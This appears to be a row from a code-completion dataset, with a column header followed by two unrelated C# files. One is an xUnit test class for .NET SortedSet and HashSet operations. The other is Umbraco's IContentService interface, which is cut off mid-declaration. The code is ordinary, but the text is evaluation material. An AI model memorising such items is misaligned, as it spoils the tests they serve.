context
stringlengths
2.52k
185k
gt
stringclasses
1 value
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System; using System.Collections.Generic; using Xunit; namespace SortedSetTests { public class SortedSetSpecificTests { [Fact] public static void TestCopyConstructor() { SortedSet<int> sortedSet = new SortedSet<int>(); List<int> listOfItems = new List<int>(); for (int i = 0; i < 10000; i++) { if (!sortedSet.Contains(i)) { sortedSet.Add(i); listOfItems.Add(i); } } SortedSet<int> newTree1 = new SortedSet<int>(listOfItems); Assert.True(newTree1.SetEquals(listOfItems)); //"Expected to be the same set." SortedSet<int> newTree2 = new SortedSet<int>(sortedSet); Assert.True(sortedSet.SetEquals(newTree2)); //"Expected to be the same set." Assert.Equal(sortedSet.Count, newTree1.Count); //"Should be equal." Assert.Equal(sortedSet.Count, newTree2.Count); //"Copied tree not the same as base" } [Fact] public static void TestCopyConstructor2() { SortedSet<int> sortedSet = new SortedSet<int>(); List<int> listOfItems = new List<int>(); int c = 0; while (sortedSet.Count < 100000) { c++; if (!sortedSet.Contains(50000 - c)) { sortedSet.Add(50000 - c); listOfItems.Add(50000 - c); } } SortedSet<int> newTree1 = new SortedSet<int>(listOfItems); Assert.True(newTree1.SetEquals(listOfItems)); //"Expected to be the same set." SortedSet<int> newTree2 = new SortedSet<int>(sortedSet); Assert.True(newTree2.SetEquals(sortedSet)); //"Expected to be the same set." IEnumerator<int> t1 = sortedSet.GetEnumerator(); IEnumerator<int> t2 = newTree1.GetEnumerator(); IEnumerator<int> t3 = newTree2.GetEnumerator(); while (t1.MoveNext()) { t2.MoveNext(); t3.MoveNext(); Assert.Equal(t1.Current, t2.Current); //"Not fully constructed" Assert.Equal(t2.Current, t3.Current); //"Not fullu constructed." } sortedSet.Clear(); } [Fact] public static void TestCopyConstructor3() { SortedSet<int> sortedSet = new SortedSet<int>(); List<int> listOfItems = new List<int>(); int c = 0; while (sortedSet.Count < 100000) { c++; if (!sortedSet.Contains(50000 - c)) { sortedSet.Add(50000 - c); listOfItems.Add(50000 - c); } } SortedSet<int> newTree1 = new SortedSet<int>(listOfItems); Assert.True(newTree1.SetEquals(listOfItems)); //"Expected to be the same set." SortedSet<int> newTree2 = new SortedSet<int>(sortedSet); Assert.True(newTree2.SetEquals(sortedSet)); //"Expected to be the same set." SortedSet<int>.Enumerator t1 = sortedSet.GetEnumerator(); SortedSet<int>.Enumerator t2 = newTree1.GetEnumerator(); SortedSet<int>.Enumerator t3 = newTree2.GetEnumerator(); while (t1.MoveNext()) { t2.MoveNext(); t3.MoveNext(); Assert.Equal(t1.Current, t2.Current); //"Not fully constructed" Assert.Equal(t2.Current, t3.Current); //"Not fullu constructed." } sortedSet.Clear(); t1.Dispose(); t2.Dispose(); t3.Dispose(); } [Fact] public static void TestReverseEnumerator() { SortedSet<int> sortedSet = new SortedSet<int>(); sortedSet.Clear(); for (int j = 5000; j > 0; j--) { if (!sortedSet.Contains(j)) sortedSet.Add(j); } int[] output = new int[5000]; sortedSet.CopyTo(output, 0); int index = 0; IEnumerator<int> e = sortedSet.Reverse().GetEnumerator(); while (e.MoveNext()) { int recd = e.Current; Assert.Equal(recd, output[sortedSet.Count - 1 - index]); //"mismatched reversal" index++; } } [Fact] public static void TestRemoveWhere() { SortedSet<int> sortedSet = new SortedSet<int>(); for (int i = 0; i < 5000; i++) { sortedSet.Add(i); } int removed = sortedSet.RemoveWhere(delegate (int x) { if (x < 2500) return true; else return false; }); Assert.Equal(2500, removed); //"Did not remove according to predicate" Assert.Equal(2500, sortedSet.Count); //"Did not remove according to predicate" } [Fact] public static void TestSubSetEnumerator() { SortedSet<int> sortedSet = new SortedSet<int>(); for (int i = 0; i < 10000; i++) { if (!sortedSet.Contains(i)) sortedSet.Add(i); } SortedSet<int> mySubSet = sortedSet.GetViewBetween(45, 90); Assert.Equal(46, mySubSet.Count); //"not all elements were encountered" IEnumerable<int> en = mySubSet.Reverse(); Assert.True(mySubSet.SetEquals(en)); //"Expected to be the same set." } [Fact] public static void TestTreeCopyTo1() { var sortedSet = GetSortedSet(); int[] arr = new int[sortedSet.Count]; sortedSet.CopyTo(arr, 0); for (int i = 0; i < sortedSet.Count; i++) Assert.Equal(arr[i], i); //"Should have equal contents." } [Fact] public static void TestHashCopyTo1() { var hashSet = GetHashSet(); int[] arr = new int[hashSet.Count]; hashSet.CopyTo(arr, 0); for (int i = 0; i < hashSet.Count; i++) { Assert.Equal(arr[i], i); //"Should have equal contents." } } [Fact] public static void TestEquals1() { var sortedSet = GetSortedSet(); var hashSet = GetHashSet(); Assert.True(sortedSet.SetEquals(hashSet)); Assert.True(hashSet.SetEquals(sortedSet)); } [Fact] public static void TestTreeRemove1() { var sortedSet = GetSortedSet(); int a = 10000; while (sortedSet.Count > 0) { sortedSet.Remove(a); a--; } Assert.Equal(-1, a); //"Should have been able to remove 10000 items." Assert.Equal(0, sortedSet.Count); //"Should have no items left" Assert.True(sortedSet.SetEquals(new int[] { })); //"Should be empty." } [Fact] public static void TestHashRemove1() { var hashSet = GetHashSet(); int a = 10000; while (hashSet.Count > 0) { hashSet.Remove(a); a--; } Assert.Equal(-1, a); //"Should have been able to remove 10000 items." Assert.Equal(0, hashSet.Count); //"Should have no items left" Assert.True(hashSet.SetEquals(new int[] { })); //"Should be empty." } [Fact] public static void TestUnionWithSortedSet() { var sortedSet = new SortedSet<int>(); int[] itemsToAdd = new int[] { 5, 13, 8, 11, 5, 1, 12, 9, 14, 4, }; foreach (var item in itemsToAdd) sortedSet.Add(item); SortedSet<int> meow = new SortedSet<int>(); int[] itemsToAdd2 = new int[] { 5, 3, 7, 12, 0 }; foreach (var item in itemsToAdd2) meow.Add(item); List<int> expectedUnion = new List<int>(); foreach (var item in itemsToAdd) { if (!expectedUnion.Contains(item)) expectedUnion.Add(item); } foreach (var item in itemsToAdd2) { if (!expectedUnion.Contains(item)) expectedUnion.Add(item); } sortedSet.UnionWith(meow); Assert.True(sortedSet.SetEquals(expectedUnion)); //"Expected to be the same set." } [Fact] public static void TestUnionWithHashSet() { var hashSet = new HashSet<int>(); int[] itemsToAdd = new int[] { 5, 13, 8, 11, 5, 9, 12, 9, 14, 4, }; foreach (var item in itemsToAdd) hashSet.Add(item); HashSet<int> growl = new HashSet<int>(); int[] itemsToAdd2 = new int[] { 5, 3, 7, 12, 0 }; foreach (var item in itemsToAdd2) growl.Add(item); List<int> expectedUnion = new List<int>(); foreach (var item in itemsToAdd) { if (!expectedUnion.Contains(item)) expectedUnion.Add(item); } foreach (var item in itemsToAdd2) { if (!expectedUnion.Contains(item)) expectedUnion.Add(item); } hashSet.UnionWith(growl); Assert.True(hashSet.SetEquals(expectedUnion)); //"Expected to be the same set." } [Fact] public static void TestUnionWithCompare() { SortedSet<int> sortedSet = new SortedSet<int>(); HashSet<int> hashSet = new HashSet<int>(); SortedSet<int> dummy1 = new SortedSet<int>(); SortedSet<int> dummy2 = new SortedSet<int>(); int[] dummyNums = new int[] { 10, 29, 45, 93, 8, 50, 14, 27, 66, 3, 86, 41, 96, 34, 62, 30, 50, 14, 82, 61, 85, 46, 94, 84, 33, 98, 82, 9, 56, 11, 7, 60, 74, 94, 17, 58, 51, 78, 3, 79, 44, 53, 65, 8, 75, 43, 58, 19, 22, 97, 69, 3, 11, 44, 17, 64, 34, 61, 59, 9, 67, 5, 71, 55, 96, 25, 66, 1, 16, 4, 78, 72, 11, 3, 16, 31, 80, 86, 9, 90, 39, 62, 87, 58, 41, 3, 48, 29, 77, 53, 24, 90, 18, 93, 11, 39, 81, 9, 12, 49, }; int[] setNums = new int[] { 73, 7, 60, 80, 48, 37, 82, 89, 54, 63, 34, 93, 49, 21, 79, 79, 99, 59, 66, 68, 23, 70, 46, 83, 16, 0, 64, 85, 20, 92, 40, 8, 43, 89, 47, 19, 67, 36, 77, 25, 49, 53, 84, 38, 18, 3, 77, 10, 96, 71, 75, 93, 62, 23, 28, 3, 61, 77, 64, 47, 73, 96, 68, 62, 23, 25, 50, 60, 74, 59, 11, 62, 81, 40, 18, 69, 85, 7, 64, 12, 23, 54, 89, 49, 16, 46, 46, 20, 60, 43, 58, 90, 72, 29, 52, 52, 85, 21, 15, 92, }; foreach (var item in dummyNums) { dummy1.Add(item); dummy2.Add(item); } foreach (var item in setNums) { sortedSet.Add(item); hashSet.Add(item); } dummy1.UnionWith(sortedSet); dummy2.UnionWith(hashSet); int[] expectedUnion = new int[] { 10, 29, 45, 93, 8, 50, 14, 27, 66, 3, 86, 41, 96, 34, 62, 30, 82, 61, 85, 46, 94, 84, 33, 98, 9, 56, 11, 7, 60, 74, 17, 58, 51, 78, 79, 44, 53, 65, 75, 43, 19, 22, 97, 69, 64, 59, 67, 5, 71, 55, 25, 1, 16, 4, 72, 31, 80, 90, 39, 87, 48, 77, 24, 18, 81, 12, 49, 73, 37, 89, 54, 63, 21, 99, 68, 23, 70, 83, 0, 20, 92, 40, 47, 36, 38, 28, 52, 15, }; Assert.True(dummy1.SetEquals(expectedUnion)); //"Expected to be the same set." Assert.True(dummy2.SetEquals(expectedUnion)); //"Expected to be the same set." } [Fact] public static void TestIntersectWithSortedSet() { var sortedSet = new SortedSet<int>(); int[] itemsToAdd = new int[] { 5, 13, 8, 11, 5, 1, 12, 9, 14, 4, }; foreach (var item in itemsToAdd) sortedSet.Add(item); SortedSet<int> meow = new SortedSet<int>(); int[] itemsToAdd2 = new int[] { 5, 3, 7, 12, 8 }; foreach (var item in itemsToAdd2) meow.Add(item); int[] expectedIntersect = new int[] { 5, 12, 8 }; sortedSet.IntersectWith(meow); Assert.True(sortedSet.SetEquals(expectedIntersect)); //"Expected to be the same set." } [Fact] public static void TestIntersectWithHashSet() { var hashSet = new HashSet<int>(); int[] itemsToAdd = new int[] { 5, 13, 8, 11, 5, 9, 12, 9, 14, 4, }; foreach (var item in itemsToAdd) hashSet.Add(item); HashSet<int> growl = new HashSet<int>(); int[] itemsToAdd2 = new int[] { 5, 3, 7, 12, 8 }; foreach (var item in itemsToAdd2) growl.Add(item); int[] expectedIntersect = new int[] { 5, 12, 8 }; hashSet.IntersectWith(growl); Assert.True(hashSet.SetEquals(expectedIntersect)); //"Expected to be the same set." } #region Helper Methods private static SortedSet<int> GetSortedSet() { SortedSet<int> sortedSet = new SortedSet<int>(); int count = 10000; for (int i = 0; i < count; i++) { if (!sortedSet.Contains(i)) sortedSet.Add(i); } for (int i = 0; i < count; i++) { Assert.True(sortedSet.Contains(i)); //"Adding did not produce the right result" } Assert.Equal(count, sortedSet.Count); //"Adding did not produce the right result" return sortedSet; } private static HashSet<int> GetHashSet() { int count = 10000; HashSet<int> hashSet = new HashSet<int>(); for (int i = 0; i < count; i++) { if (!hashSet.Contains(i)) hashSet.Add(i); } for (int i = 0; i < count; i++) { Assert.True(hashSet.Contains(i), "Should contain value at index: " + i); } Assert.Equal(count, hashSet.Count); //"Should have the same number of items" return hashSet; } #endregion } }
using System; using System.Collections.Generic; using System.ComponentModel; using System.Xml; using System.Xml.Linq; using Umbraco.Core.Models; using Umbraco.Core.Models.Membership; using Umbraco.Core.Persistence.DatabaseModelDefinitions; using Umbraco.Core.Persistence.Querying; using Umbraco.Core.Publishing; namespace Umbraco.Core.Services { /// <summary> /// A temporary interface until we are in v8, this is used to return a different result for the same method and this interface gets implemented /// explicitly. These methods will replace the normal ones in IContentService in v8 and this will be removed. /// </summary> public interface IContentServiceOperations { //TODO: Remove this class in v8 //TODO: There's probably more that needs to be added like the EmptyRecycleBin, etc... /// <summary> /// Saves a single <see cref="IContent"/> object /// </summary> /// <param name="content">The <see cref="IContent"/> to save</param> /// <param name="userId">Optional Id of the User saving the Content</param> /// <param name="raiseEvents">Optional boolean indicating whether or not to raise events.</param> Attempt<OperationStatus> Save(IContent content, int userId = 0, bool raiseEvents = true); /// <summary> /// Saves a collection of <see cref="IContent"/> objects. /// </summary> /// <param name="contents">Collection of <see cref="IContent"/> to save</param> /// <param name="userId">Optional Id of the User saving the Content</param> /// <param name="raiseEvents">Optional boolean indicating whether or not to raise events.</param> Attempt<OperationStatus> Save(IEnumerable<IContent> contents, int userId = 0, bool raiseEvents = true); /// <summary> /// Permanently deletes an <see cref="IContent"/> object. /// </summary> /// <remarks> /// This method will also delete associated media files, child content and possibly associated domains. /// </remarks> /// <remarks>Please note that this method will completely remove the Content from the database</remarks> /// <param name="content">The <see cref="IContent"/> to delete</param> /// <param name="userId">Optional Id of the User deleting the Content</param> Attempt<OperationStatus> Delete(IContent content, int userId = 0); /// <summary> /// Publishes a single <see cref="IContent"/> object /// </summary> /// <param name="content">The <see cref="IContent"/> to publish</param> /// <param name="userId">Optional Id of the User issueing the publishing</param> /// <returns>The published status attempt</returns> Attempt<PublishStatus> Publish(IContent content, int userId = 0); /// <summary> /// Publishes a <see cref="IContent"/> object and all its children /// </summary> /// <param name="content">The <see cref="IContent"/> to publish along with its children</param> /// <param name="userId">Optional Id of the User issueing the publishing</param> /// <param name="includeUnpublished"></param> /// <returns>The list of statuses for all published items</returns> IEnumerable<Attempt<PublishStatus>> PublishWithChildren(IContent content, int userId = 0, bool includeUnpublished = false); /// <summary> /// Saves and Publishes a single <see cref="IContent"/> object /// </summary> /// <param name="content">The <see cref="IContent"/> to save and publish</param> /// <param name="userId">Optional Id of the User issueing the publishing</param> /// <param name="raiseEvents">Optional boolean indicating whether or not to raise save events.</param> /// <returns>True if publishing succeeded, otherwise False</returns> Attempt<PublishStatus> SaveAndPublish(IContent content, int userId = 0, bool raiseEvents = true); /// <summary> /// Deletes an <see cref="IContent"/> object by moving it to the Recycle Bin /// </summary> /// <remarks>Move an item to the Recycle Bin will result in the item being unpublished</remarks> /// <param name="content">The <see cref="IContent"/> to delete</param> /// <param name="userId">Optional Id of the User deleting the Content</param> Attempt<OperationStatus> MoveToRecycleBin(IContent content, int userId = 0); /// <summary> /// UnPublishes a single <see cref="IContent"/> object /// </summary> /// <param name="content">The <see cref="IContent"/> to publish</param> /// <param name="userId">Optional Id of the User issueing the publishing</param> /// <returns>True if unpublishing succeeded, otherwise False</returns> Attempt<UnPublishStatus> UnPublish(IContent content, int userId = 0); } /// <summary> /// Defines the ContentService, which is an easy access to operations involving <see cref="IContent"/> /// </summary> public interface IContentService : IContentServiceBase { IEnumerable<IContent> GetBlueprintsForContentTypes(params int[] documentTypeIds); IContent GetBlueprintById(int id); IContent GetBlueprintById(Guid id); void SaveBlueprint(IContent content, int userId = 0); void DeleteBlueprint(IContent content, int userId = 0); IContent CreateContentFromBlueprint(IContent blueprint, string name, int userId = 0); /// <summary> /// Gets all XML entries found in the cmsContentXml table based on the given path /// </summary> /// <param name="path">Path starts with</param> /// <param name="pageIndex">Page number</param> /// <param name="pageSize">Page size</param> /// <param name="totalRecords">Total records the query would return without paging</param> /// <returns>A paged enumerable of XML entries of content items</returns> /// <remarks> /// If -1 is passed, then this will return all content xml entries, otherwise will return all descendents from the path /// </remarks> IEnumerable<XElement> GetPagedXmlEntries(string path, long pageIndex, int pageSize, out long totalRecords); /// <summary> /// This builds the Xml document used for the XML cache /// </summary> /// <returns></returns> XmlDocument BuildXmlCache(); /// <summary> /// Rebuilds all xml content in the cmsContentXml table for all documents /// </summary> /// <param name="contentTypeIds"> /// Only rebuild the xml structures for the content type ids passed in, if none then rebuilds the structures /// for all content /// </param> void RebuildXmlStructures(params int[] contentTypeIds); int CountPublished(string contentTypeAlias = null); int Count(string contentTypeAlias = null); int CountChildren(int parentId, string contentTypeAlias = null); int CountDescendants(int parentId, string contentTypeAlias = null); /// <summary> /// Used to bulk update the permissions set for a content item. This will replace all permissions /// assigned to an entity with a list of user group id & permission pairs. /// </summary> /// <param name="permissionSet"></param> void ReplaceContentPermissions(EntityPermissionSet permissionSet); /// <summary> /// Assigns a single permission to the current content item for the specified user group ids /// </summary> /// <param name="entity"></param> /// <param name="permission"></param> /// <param name="groupIds"></param> void AssignContentPermission(IContent entity, char permission, IEnumerable<int> groupIds); /// <summary> /// Returns implicit/inherited permissions assigned to the content item for all user groups /// </summary> /// <param name="content"></param> /// <returns></returns> EntityPermissionCollection GetPermissionsForEntity(IContent content); bool SendToPublication(IContent content, int userId = 0); IEnumerable<IContent> GetByIds(IEnumerable<int> ids); IEnumerable<IContent> GetByIds(IEnumerable<Guid> ids); /// <summary> /// Creates an <see cref="IContent"/> object using the alias of the <see cref="IContentType"/> /// that this Content should based on. /// </summary> /// <remarks> /// Note that using this method will simply return a new IContent without any identity /// as it has not yet been persisted. It is intended as a shortcut to creating new content objects /// that does not invoke a save operation against the database. /// </remarks> /// <param name="name">Name of the Content object</param> /// <param name="parentId">Id of Parent for the new Content</param> /// <param name="contentTypeAlias">Alias of the <see cref="IContentType"/></param> /// <param name="userId">Optional id of the user creating the content</param> /// <returns><see cref="IContent"/></returns> IContent CreateContent(string name, Guid parentId, string contentTypeAlias, int userId = 0); /// <summary> /// Creates an <see cref="IContent"/> object using the alias of the <see cref="IContentType"/> /// that this Content should based on. /// </summary> /// <remarks> /// Note that using this method will simply return a new IContent without any identity /// as it has not yet been persisted. It is intended as a shortcut to creating new content objects /// that does not invoke a save operation against the database. /// </remarks> /// <param name="name">Name of the Content object</param> /// <param name="parentId">Id of Parent for the new Content</param> /// <param name="contentTypeAlias">Alias of the <see cref="IContentType"/></param> /// <param name="userId">Optional id of the user creating the content</param> /// <returns><see cref="IContent"/></returns> IContent CreateContent(string name, int parentId, string contentTypeAlias, int userId = 0); /// <summary> /// Creates an <see cref="IContent"/> object using the alias of the <see cref="IContentType"/> /// that this Content should based on. /// </summary> /// <remarks> /// Note that using this method will simply return a new IContent without any identity /// as it has not yet been persisted. It is intended as a shortcut to creating new content objects /// that does not invoke a save operation against the database. /// </remarks> /// <param name="name">Name of the Content object</param> /// <param name="parent">Parent <see cref="IContent"/> object for the new Content</param> /// <param name="contentTypeAlias">Alias of the <see cref="IContentType"/></param> /// <param name="userId">Optional id of the user creating the content</param> /// <returns><see cref="IContent"/></returns> IContent CreateContent(string name, IContent parent, string contentTypeAlias, int userId = 0); /// <summary> /// Gets an <see cref="IContent"/> object by Id /// </summary> /// <param name="id">Id of the Content to retrieve</param> /// <returns><see cref="IContent"/></returns> IContent GetById(int id); /// <summary> /// Gets an <see cref="IContent"/> object by its 'UniqueId' /// </summary> /// <param name="key">Guid key of the Content to retrieve</param> /// <returns><see cref="IContent"/></returns> IContent GetById(Guid key); /// <summary> /// Gets a collection of <see cref="IContent"/> objects by the Id of the <see cref="IContentType"/> /// </summary> /// <param name="id">Id of the <see cref="IContentType"/></param> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetContentOfContentType(int id); /// <summary> /// Gets a collection of <see cref="IContent"/> objects by Level /// </summary> /// <param name="level">The level to retrieve Content from</param> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetByLevel(int level); /// <summary> /// Gets a collection of <see cref="IContent"/> objects by Parent Id /// </summary> /// <param name="id">Id of the Parent to retrieve Children from</param> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetChildren(int id); [Obsolete("Use the overload with 'long' parameter types instead")] [EditorBrowsable(EditorBrowsableState.Never)] IEnumerable<IContent> GetPagedChildren(int id, int pageIndex, int pageSize, out int totalRecords, string orderBy = "SortOrder", Direction orderDirection = Direction.Ascending, string filter = ""); /// <summary> /// Gets a collection of <see cref="IContent"/> objects by Parent Id /// </summary> /// <param name="id">Id of the Parent to retrieve Children from</param> /// <param name="pageIndex">Page number</param> /// <param name="pageSize">Page size</param> /// <param name="totalRecords">Total records query would return without paging</param> /// <param name="orderBy">Field to order by</param> /// <param name="orderDirection">Direction to order by</param> /// <param name="filter">Search text filter</param> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetPagedChildren(int id, long pageIndex, int pageSize, out long totalRecords, string orderBy = "SortOrder", Direction orderDirection = Direction.Ascending, string filter = ""); /// <summary> /// Gets a collection of <see cref="IContent"/> objects by Parent Id /// </summary> /// <param name="id">Id of the Parent to retrieve Children from</param> /// <param name="pageIndex">Page number</param> /// <param name="pageSize">Page size</param> /// <param name="totalRecords">Total records query would return without paging</param> /// <param name="orderBy">Field to order by</param> /// <param name="orderDirection">Direction to order by</param> /// <param name="orderBySystemField">Flag to indicate when ordering by system field</param> /// <param name="filter">Search text filter</param> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetPagedChildren(int id, long pageIndex, int pageSize, out long totalRecords, string orderBy, Direction orderDirection, bool orderBySystemField, string filter); [Obsolete("Use the overload with 'long' parameter types instead")] [EditorBrowsable(EditorBrowsableState.Never)] IEnumerable<IContent> GetPagedDescendants(int id, int pageIndex, int pageSize, out int totalRecords, string orderBy = "path", Direction orderDirection = Direction.Ascending, string filter = ""); /// <summary> /// Gets a collection of <see cref="IContent"/> objects by Parent Id /// </summary> /// <param name="id">Id of the Parent to retrieve Descendants from</param> /// <param name="pageIndex">Page number</param> /// <param name="pageSize">Page size</param> /// <param name="totalRecords">Total records query would return without paging</param> /// <param name="orderBy">Field to order by</param> /// <param name="orderDirection">Direction to order by</param> /// <param name="filter">Search text filter</param> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetPagedDescendants(int id, long pageIndex, int pageSize, out long totalRecords, string orderBy = "path", Direction orderDirection = Direction.Ascending, string filter = ""); /// <summary> /// Gets a collection of <see cref="IContent"/> objects by Parent Id /// </summary> /// <param name="id">Id of the Parent to retrieve Descendants from</param> /// <param name="pageIndex">Page number</param> /// <param name="pageSize">Page size</param> /// <param name="totalRecords">Total records query would return without paging</param> /// <param name="orderBy">Field to order by</param> /// <param name="orderDirection">Direction to order by</param> /// <param name="orderBySystemField">Flag to indicate when ordering by system field</param> /// <param name="filter">Search text filter</param> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetPagedDescendants(int id, long pageIndex, int pageSize, out long totalRecords, string orderBy, Direction orderDirection, bool orderBySystemField, string filter); /// <summary> /// Gets a collection of <see cref="IContent"/> objects by Parent Id /// </summary> /// <param name="id">Id of the Parent to retrieve Descendants from</param> /// <param name="pageIndex">Page number</param> /// <param name="pageSize">Page size</param> /// <param name="totalRecords">Total records query would return without paging</param> /// <param name="orderBy">Field to order by</param> /// <param name="orderDirection">Direction to order by</param> /// <param name="orderBySystemField">Flag to indicate when ordering by system field</param> /// <param name="filter"></param> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetPagedDescendants(int id, long pageIndex, int pageSize, out long totalRecords, string orderBy, Direction orderDirection, bool orderBySystemField, IQuery<IContent> filter); /// <summary> /// Gets a collection of an <see cref="IContent"/> objects versions by its Id /// </summary> /// <param name="id"></param> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetVersions(int id); /// <summary> /// Gets a list of all version Ids for the given content item ordered so latest is first /// </summary> /// <param name="id"></param> /// <param name="maxRows">The maximum number of rows to return</param> /// <returns></returns> IEnumerable<Guid> GetVersionIds(int id, int maxRows); /// <summary> /// Gets a collection of <see cref="IContent"/> objects, which reside at the first level / root /// </summary> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetRootContent(); /// <summary> /// Gets a collection of <see cref="IContent"/> objects, which has an expiration date greater then today /// </summary> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetContentForExpiration(); /// <summary> /// Gets a collection of <see cref="IContent"/> objects, which has a release date greater then today /// </summary> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetContentForRelease(); /// <summary> /// Gets a collection of an <see cref="IContent"/> objects, which resides in the Recycle Bin /// </summary> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetContentInRecycleBin(); /// <summary> /// Saves a single <see cref="IContent"/> object /// </summary> /// <param name="content">The <see cref="IContent"/> to save</param> /// <param name="userId">Optional Id of the User saving the Content</param> /// <param name="raiseEvents">Optional boolean indicating whether or not to raise events.</param> void Save(IContent content, int userId = 0, bool raiseEvents = true); /// <summary> /// Saves a collection of <see cref="IContent"/> objects. /// </summary> /// <param name="contents">Collection of <see cref="IContent"/> to save</param> /// <param name="userId">Optional Id of the User saving the Content</param> /// <param name="raiseEvents">Optional boolean indicating whether or not to raise events.</param> void Save(IEnumerable<IContent> contents, int userId = 0, bool raiseEvents = true); /// <summary> /// Deletes all content of specified type. All children of deleted content is moved to Recycle Bin. /// </summary> /// <remarks>This needs extra care and attention as its potentially a dangerous and extensive operation</remarks> /// <param name="contentTypeId">Id of the <see cref="IContentType"/></param> /// <param name="userId">Optional Id of the user issueing the delete operation</param> void DeleteContentOfType(int contentTypeId, int userId = 0); /// <summary> /// Deletes all content of the specified types. All Descendants of deleted content that is not of these types is moved to Recycle Bin. /// </summary> /// <remarks>This needs extra care and attention as its potentially a dangerous and extensive operation</remarks> /// <param name="contentTypeIds">Ids of the <see cref="IContentType"/>s</param> /// <param name="userId">Optional Id of the user issueing the delete operation</param> void DeleteContentOfTypes(IEnumerable<int> contentTypeIds, int userId = 0); /// <summary> /// Permanently deletes versions from an <see cref="IContent"/> object prior to a specific date. /// </summary> /// <param name="id">Id of the <see cref="IContent"/> object to delete versions from</param> /// <param name="versionDate">Latest version date</param> /// <param name="userId">Optional Id of the User deleting versions of a Content object</param> void DeleteVersions(int id, DateTime versionDate, int userId = 0); /// <summary> /// Permanently deletes a specific version from an <see cref="IContent"/> object. /// </summary> /// <param name="id">Id of the <see cref="IContent"/> object to delete a version from</param> /// <param name="versionId">Id of the version to delete</param> /// <param name="deletePriorVersions">Boolean indicating whether to delete versions prior to the versionId</param> /// <param name="userId">Optional Id of the User deleting versions of a Content object</param> void DeleteVersion(int id, Guid versionId, bool deletePriorVersions, int userId = 0); /// <summary> /// Deletes an <see cref="IContent"/> object by moving it to the Recycle Bin /// </summary> /// <remarks>Move an item to the Recycle Bin will result in the item being unpublished</remarks> /// <param name="content">The <see cref="IContent"/> to delete</param> /// <param name="userId">Optional Id of the User deleting the Content</param> void MoveToRecycleBin(IContent content, int userId = 0); /// <summary> /// Moves an <see cref="IContent"/> object to a new location /// </summary> /// <param name="content">The <see cref="IContent"/> to move</param> /// <param name="parentId">Id of the Content's new Parent</param> /// <param name="userId">Optional Id of the User moving the Content</param> void Move(IContent content, int parentId, int userId = 0); /// <summary> /// Empties the Recycle Bin by deleting all <see cref="IContent"/> that resides in the bin /// </summary> void EmptyRecycleBin(); /// <summary> /// Rollback an <see cref="IContent"/> object to a previous version. /// This will create a new version, which is a copy of all the old data. /// </summary> /// <param name="id">Id of the <see cref="IContent"/>being rolled back</param> /// <param name="versionId">Id of the version to rollback to</param> /// <param name="userId">Optional Id of the User issueing the rollback of the Content</param> /// <returns>The newly created <see cref="IContent"/> object</returns> IContent Rollback(int id, Guid versionId, int userId = 0); /// <summary> /// Gets a collection of <see cref="IContent"/> objects by its name or partial name /// </summary> /// <param name="parentId">Id of the Parent to retrieve Children from</param> /// <param name="name">Full or partial name of the children</param> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetChildrenByName(int parentId, string name); /// <summary> /// Gets a collection of <see cref="IContent"/> objects by Parent Id /// </summary> /// <param name="id">Id of the Parent to retrieve Descendants from</param> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetDescendants(int id); /// <summary> /// Gets a collection of <see cref="IContent"/> objects by Parent Id /// </summary> /// <param name="content"><see cref="IContent"/> item to retrieve Descendants from</param> /// <returns>An Enumerable list of <see cref="IContent"/> objects</returns> IEnumerable<IContent> GetDescendants(IContent content); /// <summary> /// Gets a specific version of an <see cref="IContent"/> item. /// </summary> /// <param name="versionId">Id of the version to retrieve</param> /// <returns>An <see cref="IContent"/> item</returns> IContent GetByVersion(Guid versionId); /// <summary> /// Gets the published version of an <see cref="IContent"/> item /// </summary> /// <param name="id">Id of the <see cref="IContent"/> to retrieve version from</param> /// <returns>An <see cref="IContent"/> item</returns> IContent GetPublishedVersion(int id); /// <summary> /// Gets the published version of a <see cref="IContent"/> item. /// </summary> /// <param name="content">The content item.</param> /// <returns>The published version, if any; otherwise, null.</returns> IContent GetPublishedVersion(IContent content); /// <summary> /// Checks whether an <see cref="IContent"/> item has any children /// </summary> /// <param name="id">Id of the <see cref="IContent"/></param> /// <returns>True if the content has any children otherwise False</returns> bool HasChildren(int id); /// <summary> /// Checks whether an <see cref="IContent"/> item has any published versions /// </summary> /// <param name="id">Id of the <see cref="IContent"/></param> /// <returns>True if the content has any published version otherwise False</returns> bool HasPublishedVersion(int id); /// <summary> /// Re-Publishes all Content /// </summary> /// <param name="userId">Optional Id of the User issueing the publishing</param> /// <returns>True if publishing succeeded, otherwise False</returns> bool RePublishAll(int userId = 0); /// <summary> /// Publishes a single <see cref="IContent"/> object /// </summary> /// <param name="content">The <see cref="IContent"/> to publish</param> /// <param name="userId">Optional Id of the User issueing the publishing</param> /// <returns>True if publishing succeeded, otherwise False</returns> bool Publish(IContent content, int userId = 0); /// <summary> /// Publishes a single <see cref="IContent"/> object /// </summary> /// <param name="content">The <see cref="IContent"/> to publish</param> /// <param name="userId">Optional Id of the User issueing the publishing</param> /// <returns>The published status attempt</returns> Attempt<PublishStatus> PublishWithStatus(IContent content, int userId = 0); /// <summary> /// Publishes a <see cref="IContent"/> object and all its children /// </summary> /// <param name="content">The <see cref="IContent"/> to publish along with its children</param> /// <param name="userId">Optional Id of the User issueing the publishing</param> /// <returns>True if publishing succeeded, otherwise False</returns> [EditorBrowsable(EditorBrowsableState.Never)] 